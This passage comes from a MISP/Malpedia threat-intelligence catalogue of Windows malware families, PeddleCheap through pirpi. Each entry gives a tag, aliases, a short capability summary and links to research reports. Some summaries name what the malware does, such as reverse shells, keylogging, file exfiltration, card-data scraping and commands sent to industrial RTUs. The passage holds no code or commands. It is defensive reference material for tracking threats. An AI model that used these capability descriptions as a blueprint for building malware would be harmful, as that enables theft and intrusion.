PeddleCheap is also known as:

Table 4726. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap
https://twitter.com/ESETresearch/status/1258353960781598721
https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/
https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/
https://www.forcepoint.com/fr/blog/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2#

Pekraut

The tag is: *misp-galaxy:malpedia="Pekraut"*

Pekraut is also known as:

Table 4727. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pekraut
https://www.gdatasoftware.com/blog/2020/04/35849-pekraut-german-rat-starts-gnawing

Pelmeni

Wrapper for Kazuar.

The tag is: *misp-galaxy:malpedia="Pelmeni"*

Pelmeni is also known as:

Table 4728. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pelmeni
https://youtu.be/z2xUevYS-mg?t=1334
https://lab52.io/blog/pelmeni-wrapper-new-wrapper-of-kazuar-turla-backdoor/?ref=news.risky.biz

Penco

The tag is: *misp-galaxy:malpedia="Penco"*

Penco is also known as:

Table 4729. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.penco

PennyWise Stealer

The tag is: *misp-galaxy:malpedia="PennyWise Stealer"*

PennyWise Stealer is also known as:

Table 4730. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pennywise
https://blog.cyble.com/2022/06/30/infostealer/

Peppy RAT

Peppy is a Python-based RAT with the majority of its appearances having similarities or definite overlap with MSIL/Crimson appearances. Peppy communicates to its C&C over HTTP and utilizes SQLite for much of its internal functionality and tracking of exfiltrated files. The primary purpose of Peppy may be the automated exfiltration of potentially interesting files and keylogs. Once Peppy successfully communicates to its C&C, the keylogging and exfiltration of files using configurable search parameters begins. Files are exfiltrated using HTTP POST requests.

The tag is: *misp-galaxy:malpedia="Peppy RAT"*

Peppy RAT is also known as:

Table 4731. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.peppy_rat
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://brandefense.io/blog/apt-groups/mythic-leopard-apt-group/

PetrWrap

The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim's machine. What's more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection.

The tag is: *misp-galaxy:malpedia="PetrWrap"*

PetrWrap is also known as:

Table 4732. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://securelist.com/blog/research/77762/petrwrap-the-new-petya-based-ransomware-used-in-targeted-attacks/

Petya

The tag is: *misp-galaxy:malpedia="Petya"*

Petya is also known as:

Table 4733. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.petya
https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/
https://blogs.blackberry.com/en/2016/05/petya-and-mischa-for-all-the-raas-boom-expands-to-include-the-petya-mischa-combo
https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/
https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/
https://blog.avast.com/inside-petya-and-mischa-ransomware
https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/
https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/
https://securelist.com/petya-the-two-in-one-trojan/74609/
https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html
https://www.malwarebytes.com/blog/news/2016/06/petya-and-mischa-ransomware-duet-p2
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/
https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://blogs.blackberry.com/en/2016/07/petya-and-mischa-for-all-part-ii-theyre-here

pgift

Information gathering and downloading tool used to deliver second stage malware to the infected system

The tag is: *misp-galaxy:malpedia="pgift"*

pgift is also known as:

- ReRol

Table 4734. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift

PhanDoor

The tag is: *misp-galaxy:malpedia="PhanDoor"*

PhanDoor is also known as:

Table 4735. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phandoor
AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf[AhnLabAndariel_a_Subgroup_of_Lazarus%20(3).pdf]

PhantomCore

According to Cyble, PhantomCore is a backdoor utilized by the hacktivist group Head Mare. It has been active since 2023 and is known for consistently targeting Russia. PhantomCore collects the victim's information, including the public IP address, to gain detailed insights into the target before deploying the final-stage payload or executing additional commands on the compromised system. PhantomCore is known to deploy ransomware payloads such as LockBit and Babuk, inflicting significant damage on the victim's systems.

The tag is: *misp-galaxy:malpedia="PhantomCore"*

PhantomCore is also known as:

Table 4736. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phantomcore
https://global.ptsecurity.com/en/research/pt-esc-threat-intelligence/phantom-pains-a-large-scale-cyber-espionage-campaign-and-a-possible-split-of-the-apt-group-phantomcore/

https://cyble.com/blog/head-mare-deploys-phantomcore-against-russia/
https://securelist.com/head-mare-hacktivists/113555/
https://www.intrinsec.com/wp-content/uploads/2025/11/INTRINSEC-2025-Threat-Report-Trouble_in_the_air.pdf

PhantomVAI

PhantomVAI Loader is a malicious multi-stage infection chain used to distribute the Katz Stealer information-stealing malware or other malicious payloads.

The tag is: *misp-galaxy:malpedia="PhantomVAI"*

PhantomVAI is also known as:

- Katz Stealer Loader
- VMDetectLoader

Table 4737. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phantomvai
https://www.ibm.com/think/x-force/dcrat-presence-growing-in-latin-america
https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/

Phantom Stealer

According to Proofpoint, this is a fork of Stealerium that has high overlap with its originating codebase.

The tag is: *misp-galaxy:malpedia="Phantom Stealer"*

Phantom Stealer is also known as:

Table 4738. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phantom_stealer
https://www.proofpoint.com/us/blog/threat-insight/not-safe-work-tracking-and-investigating-stealerium-and-phantom-infostealers

Phemedrone Stealer

The tag is: *misp-galaxy:malpedia="Phemedrone Stealer"*

Phemedrone Stealer is also known as:

- Ov3r_Stealer

Table 4739. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phemedrone_stealer
https://thehackernews.com/2024/02/beware-fake-facebook-job-ads-spreading.html?m=1
https://www.splunk.com/en_us/blog/security/unveiling-phemedrone-stealer-threat-analysis-and-detections.html
https://blog.dexpose.io/anydesk-clone-drops-net-loader-with-aes-encrypted-payload-and-av-evasion-delivering-phemedrone-stealer
https://www.trustwave.com/hubfs/Web/Library/Documents_pdf/FaceBook_Ad_Spreads_Novel_Malware.pdf
https://www.trendmicro.com/en_us/research/24/a/cve-2023-36025-exploited-for-defense-evasion-in-phemedrone-steal.html
https://github.com/nullixx/Phemedrone-Stealer/blob/master/README.md
https://spycloud.com/blog/phemedrone-stealer/

Philadephia Ransom

The tag is: *misp-galaxy:malpedia="Philadephia Ransom"*

Philadephia Ransom is also known as:

Table 4740. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom
https://intel471.com/blog/a-brief-history-of-ta505
https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html
https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/

Phobos

MalwareBytes states that Phobos is one of the ransomware families that are distributed via hacked Remote Desktop (RDP) connections. This isn't surprising, as hacked RDP servers are a cheap

commodity on the underground market, and can make for an attractive and cost efficient dissemination vector for threat groups.

The tag is: *misp-galaxy:malpedia="Phobos"*

Phobos is also known as:

Table 4741. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos
https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/
https://www.npa.go.jp/english/bureau/cyber/ransomdamagerecovery.html
https://www.pcrisk.com/removal-guides/29391-force-ransomware
https://www.trellix.com/blogs/research/phobos-stealthy-ransomware-that-operated-under-the-radar-until-now/
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://blog.talosintelligence.com/deep-dive-into-phobos-ransomware/
https://www.s-rminform.com/latest-insights/cyber-threat-advisory-phobos-ransomware-launches-new-leak-site-and-pivots-towards-extortion
https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://securelist.com/cis-ransomware/104452/
https://twitter.com/rivitna2/status/1674718854549831681
https://blogs.blackberry.com/en/2021/11/zebra2104
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/
https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware
https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://cybergeeks.tech/a-technical-analysis-of-the-backmydata-ransomware-used-to-attack-hospitals-in-romania/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground
https://circleid.com/posts/20240530-a-dns-investigation-of-the-phobos-ransomware-8base-attack
https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/
https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/

https://blog.qualys.com/vulnerabilities-threat-research/2023/11/23/unveiling-the-deceptive-dance-phobos-ransomware-masquerading-as-vx-underground
https://cert.pl/en/posts/2023/02/breaking-phobos/
https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound
https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos
https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.dnsc.ro/vezi/document/alert-backmydata-ransomware-eng-pdf

Phoenix Keylogger

Keylogger, information stealer.

The tag is: *misp-galaxy:malpedia="Phoenix Keylogger"*

Phoenix Keylogger is also known as:

Table 4742. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_keylogger
https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger
https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass

Phoenix Locker

The tag is: *misp-galaxy:malpedia="Phoenix Locker"*

Phoenix Locker is also known as:

Table 4743. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://services.google.com/fh/files/misc/threat_horizons_report_h1_2025.pdf
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf

Phonk

The tag is: *misp-galaxy:malpedia="Phonk"*

Phonk is also known as:

Table 4744. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phonk
https://twitter.com/abuse_ch/status/1630111198036348928

PHOREAL

```
Phoreal is a very simple backdoor that is capable of creating a reverse shell,
performing simple file I/O and top-level window enumeration. It communicates to a list
of four preconfigured C2 servers via ICMP on port 53
```

The tag is: *misp-galaxy:malpedia="PHOREAL"*

PHOREAL is also known as:

- Rizzo

Table 4745. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal

https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/
https://www.secureworks.com/research/threat-profiles/tin-woodlawn
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf

Phorpiex

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: *misp-galaxy:malpedia="Phorpiex"*

Phorpiex is also known as:

- Trik
- phorphiex

Table 4746. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet
https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/
https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/
https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/

https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://bin.re/blog/phorpiex/
https://twitter.com/*CPResearch*/status/1447852018794643457
https://www.johannesbader.ch/2016/02/phorpiex/
https://research.checkpoint.com/2019/phorpiex-breakdown/
https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/
https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/
https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows

PHOTOFORK

PHOTOFORK is a downloader which is a modified version of GZIPLOADER. It was first detected in February 2023 and was distributed by TA581 along with an unattributed threat activity cluster that facilitated initial access. In this version, the configuration file is no longer encrypted using a simple XOR algorithm with a 64-byte key. Instead, it uses a custom algorithm previously used by the Standard core loader. This algorithm decrypts DLL strings that are needed to resolve handles to the necessary DLLs later on. The strings are decrypted using an algorithm that splits the data into DWORDs and XORs it against a random key. The main objective of PHOTOFORK remains the same as GZIPLOADER, i.e. to deliver an encrypted bot and core DLL loader (forked) that loads the Forked ICEDID bot into memory using a custom PE format.

The tag is: *misp-galaxy:malpedia="PHOTOFORK"*

PHOTOFORK is also known as:

Table 4747. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork
https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid
https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader

PHOTOLITE

PHOTOLITE is the lite version of the GZIPLOADER with limited capabilities i.e. for example it does not have any functionality to exfiltrate the host information. This new variant is observed as a follow-on payload in a TA542 Emotet campaign back in November'22. contains a static URL to download a "Bot Pack" file with a static name (botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and

backconnect functionality that would typically be used for banking fraud.

The tag is: *misp-galaxy:malpedia="PHOTOLITE"*

PHOTOLITE is also known as:

Table 4748. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite
https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid
https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return
https://www.intrinsec.com/emotet-returns-and-deploys-loaders/

PhotoLoader

A loader used to deliver IcedID, fetching a fake image from which payloads are extracted.

The tag is: *misp-galaxy:malpedia="PhotoLoader"*

PhotoLoader is also known as:

- GZIPLOADER

Table 4749. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader
https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/
https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/
https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary
https://blog.talosintelligence.com/following-the-lnk-metadata-trail
https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns
https://www.elastic.co/security-labs/unpacking-icedid
https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html
https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader
https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid
https://isc.sans.edu/diary/28636
https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes
https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/
https://www.first.org/resources/papers/amsterdam23/IcedID-FIRST-AMS-2023.pdf

https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/
https://thedfirreport.com/2024/04/01/from-onenote-to-ransomnote-an-ice-cold-intrusion/
https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid
https://isc.sans.edu/diary/29740
https://www.team-cymru.com/post/from-chile-with-malware
https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing
https://0x0d4y.blog/icedid-technical-analysis/
https://www.silentpush.com/blog/malicious-infrastructure-as-a-service
https://unit42.paloaltonetworks.com/wireshark-quiz-icedid-answers/
https://research.openanalysis.net/icedid/bokbot/photoloader/config/2023/04/06/photoloader.html
https://twitter.com/felixw3000/status/1521816045769662468
https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns
https://leandrofroes.github.io/posts/Reversing-a-recent-IcedID-Crypter/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/
https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://www.silentpush.com/blog/icedid-command-and-control-infrastructure
https://www.youtube.com/watch?v=4j8t9kFLFIY

PicassoLoader

The tag is: *misp-galaxy:malpedia="PicassoLoader"*

PicassoLoader is also known as:

Table 4750. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.picasso_loader
https://socprime.com/blog/uac-0057-attack-detection-a-surge-in-adversary-activity-distributing-picassoloader-and-cobalt-strike-beacon/

https://socprime.com/blog/picassoloader-and-cobalt-strike-beacon-detection-uac-0057-aka-ghostwriter-hacking-group-attacks-the-ukrainian-leading-military-educational-institution/
https://harfanglab.io/insidethelab/uac-0057-pressure-ukraine-poland/
https://cert.gov.ua/article/5098518

PICKPOCKET

PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome, Firefox, and Internet Explorer to a file. This tool was previously observed solely utilized by APT34.

The tag is: *misp-galaxy:malpedia="PICKPOCKET"*

PICKPOCKET is also known as:

Table 4751. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket
https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae

PIEHOP

According to Mandiant, PIEHOP is a disruption tool written in Python and packaged with PyInstaller version 2.1+ that has the capability to connect to a user supplied remote MSSQL server for uploading files and issuing remote commands to a RTU. PIEHOP expects its main function to be called via another Python file, supplying either the argument control=True or upload=True. At a minimum, it requires the following arguments: oik, user, and pwd, and if called with control=True, it must also be supplied with iec104.

The tag is: *misp-galaxy:malpedia="PIEHOP"*

PIEHOP is also known as:

Table 4752. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.piehop
https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware-russian-response

Pierogi

The tag is: *misp-galaxy:malpedia="Pierogi"*

Pierogi is also known as:

Table 4753. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pierogi
https://www.cybereason.com/blog/new-cyber-espionage-campaigns-targeting-palestinians-part-2-the-discovery-of-the-new-mysterious-pierogi-backdoor
https://www.sentinelone.com/labs/gaza-cybergang-unified-front-targeting-hamas-opposition/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

Pikabot

Introducing Pikabot, an emerging malware family that comprises a downloader/installer, a loader, and a core backdoor component. Despite being in the early stages of development, it already demonstrates advanced techniques in evasion, injection, and anti-analysis. Notably, the loader component incorporates an array of sophisticated anti-debugging and anti-VM measures inspired by the open-source Al-Khaser project, while leveraging steganography to conceal its payload. Additionally, Pikabot utilizes a proprietary C2 framework and supports a diverse range of commands, encompassing host enumeration and advanced secondary payload injection options.

The tag is: *misp-galaxy:malpedia="Pikabot"*

Pikabot is also known as:

Table 4754. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot
https://www.malware-traffic-analysis.net/2023/10/03/index.html
https://www.zscaler.com/blogs/security-research/automating-pikabot-s-string-deobfuscation
https://d01a.github.io/pikabot/
https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html
https://www.vmray.com/cyber-security-blog/why-your-edr-let-pikabot-jump-through/
https://info.spamhaus.com/hubfs/Botnet%20Reports/Q4%202023%20Botnet%20Threat%20Update.pdf
https://blog.pulsedive.com/pikabot/
https://blog.krakz.fr/notes/syswhispers2/
https://medium.com/@DCSO_CyTec/shortandmalicious-pikabot-and-the-matanbuchus-connection-5e302644398
https://www.youtube.com/watch?v=k2rH0ISuMwE
https://www.zscaler.com/blogs/security-research/d-evolution-pikabot

https://news.sophos.com/en-us/2023/06/12/deep-dive-into-the-pikabot-cyber-threat/
https://research.openanalysis.net/pikabot/yara/config/loader/2023/02/26/pikabot.html
https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/
https://minerva-labs.com/blog/beepin-out-of-the-sandbox-analyzing-a-new-extremely-evasive-malware/
https://blog.cyber5w.com/malware%20analysis/PikabotLoader/
https://blog.securityonion.net/2023/09/quick-malware-analysis-pikabot.html
https://www.malwarebytes.com/blog/threat-intelligence/2023/12/pikabot-distributed-via-malicious-ads
https://github.com/VenzoV/MalwareAnalysisReports/blob/main/Pikabot/Pikabot%20Loader.md
https://kienmanowar.wordpress.com/2024/01/06/quicknote-technical-analysis-of-recent-pikabot-core-module/
https://securityintelligence.com/x-force/spam-trends-campaigns-senior-superlatives-2023/
https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot
https://cofense.com/blog/are-darkgate-and-pikabot-the-new-qakbot/
https://www.hivepro.com/wp-content/uploads/2023/05/Pikabot-A-Stealthy-Backdoor-with-Ingenious-Evasion-Tactics_TA2023246.pdf
https://www.darkreading.com/vulnerabilities-threats/operation-endgame-takedowns-arrests-matter
https://www.elastic.co/security-labs/pikabot-i-choose-you
https://blog.sekoia.io/pikabot-a-guide-to-its-deep-secrets-and-operations/
https://blog.cyber5w.com/2024/02/25/pikabotloader/
https://research.openanalysis.net/pikabot/debugging/string%20decryption/2023/11/12/new-pikabot.html
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://www.youtube.com/watch?v=lBuZ7cvl24Y
https://research.openanalysis.net/pikabot/debugging/string%20decryption/emulation/memulator/2023/11/19/new-pikabot-strings.html
https://www.virusbulletin.com/conference/vb2024/abstracts/ta577-walked-just-past-you-indirect-syscalls-pikabot/

PILLOWMINT

According to FireEye, PILLOWMINT is a Point-of-Sale malware tool used to scrape track 1 and track 2 payment card data from memory. Scraped payment card data is encrypted and stored in the registry and as plaintext in a file (T1074: Data Staged) Contains additional backdoor capabilities including: Running processes Downloading and executing files (T1105: Remote File Copy) Downloading and injecting DLLs (T1055: Process Injection) Communicates with a command and

control (C2) server over HTTP using AES encrypted messages (T1071: Standard Application Layer Protocol) (T1032: Standard Cryptographic Protocol)

The tag is: *misp-galaxy:malpedia="PILLOWMINT"*

PILLOWMINT is also known as:

Table 4755. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/
https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf

PinchDuke

According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke's credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.

The tag is: *misp-galaxy:malpedia="PinchDuke"*

PinchDuke is also known as:

Table 4756. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke
https://blog.f-secure.com/wp-content/uploads/2020/03/F-Secure_Dukes_Whitepaper.pdf

PINEGROVE

The tag is: *misp-galaxy:malpedia="PINEGROVE"*

PINEGROVE is also known as:

Table 4757. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pinegrove
https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust?hl=en

PingBack

The tag is: *misp-galaxy:malpedia="PingBack"*

PingBack is also known as:

Table 4758. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/
https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/

pipcreat

The tag is: *misp-galaxy:malpedia="pipcreat"*

pipcreat is also known as:

Table 4759. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipcreat
https://www.snort.org/rule_docs/1-26941

PipeMagic

The tag is: *misp-galaxy:malpedia="PipeMagic"*

PipeMagic is also known as:

Table 4760. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemagic
https://x.com/ESETresearch/status/1899508656258875756

PipeMon

The tag is: *misp-galaxy:malpedia="PipeMon"*

PipeMon is also known as:

Table 4761. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon
https://twitter.com/ESETresearch/status/1506904404225630210
https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/
https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html

PipeSnoop

Cisco Talos states that PipeSnoop can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint.

The tag is: *misp-galaxy:malpedia="PipeSnoop"*

PipeSnoop is also known as:

- TOFUPIPE

Table 4762. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pipesnoop
https://blog.talosintelligence.com/introducing-shrouded-snooper/
https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks

PirateStealer

Infostealer

The tag is: *misp-galaxy:malpedia="PirateStealer"*

PirateStealer is also known as:

Table 4763. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pirate_stealer
https://mostwanted002.cf/post/malware-analysis-and-triage-report-piratestealer/
https://mostwanted002.page/post/malware-analysis-and-triage-report-piratestealer

pirpi

The tag is: *misp-galaxy:malpedia="pirpi"*

pirpi is also known as:

